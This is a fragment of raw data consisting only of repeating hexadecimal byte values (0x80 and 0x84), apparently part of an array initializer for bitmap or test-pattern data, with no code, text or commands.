0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 